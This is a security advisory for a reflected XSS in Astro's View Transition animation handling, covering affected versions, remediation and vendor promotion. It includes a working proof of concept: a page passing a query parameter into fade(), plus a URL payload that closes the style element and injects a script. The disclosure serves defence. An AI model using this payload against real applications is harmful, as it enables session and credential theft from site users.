Summary
Astro: Reflected XSS via unescaped View Transition animation properties
Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.
An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.
This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.
Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.
Details
packages/astro/src/runtime/server/transition.ts
The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:
const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));
Animation properties are added to the stylesheet without escaping:
if (anim.duration) {
addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}
For string values, toTimeValue() returns the input unchanged:
export function toTimeValue(num: number | string) {
return typeof num === 'number' ? num + 'ms' : num;
}
As a result, a duration value containing </style> can escape from the generated style element.
Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.
PoC
Using:
[email protected]@astrojs/[email protected]
astro.config.mjs
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro
---
import { fade } from 'astro:transitions';
const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---
<html lang="en">
<head>
<meta charset="utf-8" />
<title>PoC</title>
</head>
<body>
<div transition:animate={fade({ duration })}>
Animated content
</div>
</body>
</html>
Payload:
open:
http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--
The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.
Impact
An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.
The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:
- projects configured with
output: "server"; - pages using
export const prerender = false; - other server-side data flows that pass attacker-controlled values into a View Transition animation definition.
Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.
Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().
Frequently Asked Questions
- What is GHSA-4G3V-8H47-V7G6? GHSA-4G3V-8H47-V7G6 is a medium-severity cross-site scripting (XSS) vulnerability in astro (npm), affecting versions >= 2.9.0, <= 7.0.9. It is fixed in 7.1.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of astro are affected by GHSA-4G3V-8H47-V7G6? astro (npm) versions >= 2.9.0, <= 7.0.9 is affected.
- Is there a fix for GHSA-4G3V-8H47-V7G6? Yes. GHSA-4G3V-8H47-V7G6 is fixed in 7.1.0. Upgrade to this version or later.
- Is GHSA-4G3V-8H47-V7G6 exploitable, and should I be worried? Whether GHSA-4G3V-8H47-V7G6 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-4G3V-8H47-V7G6 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-4G3V-8H47-V7G6? Upgrade
astroto 7.1.0 or later.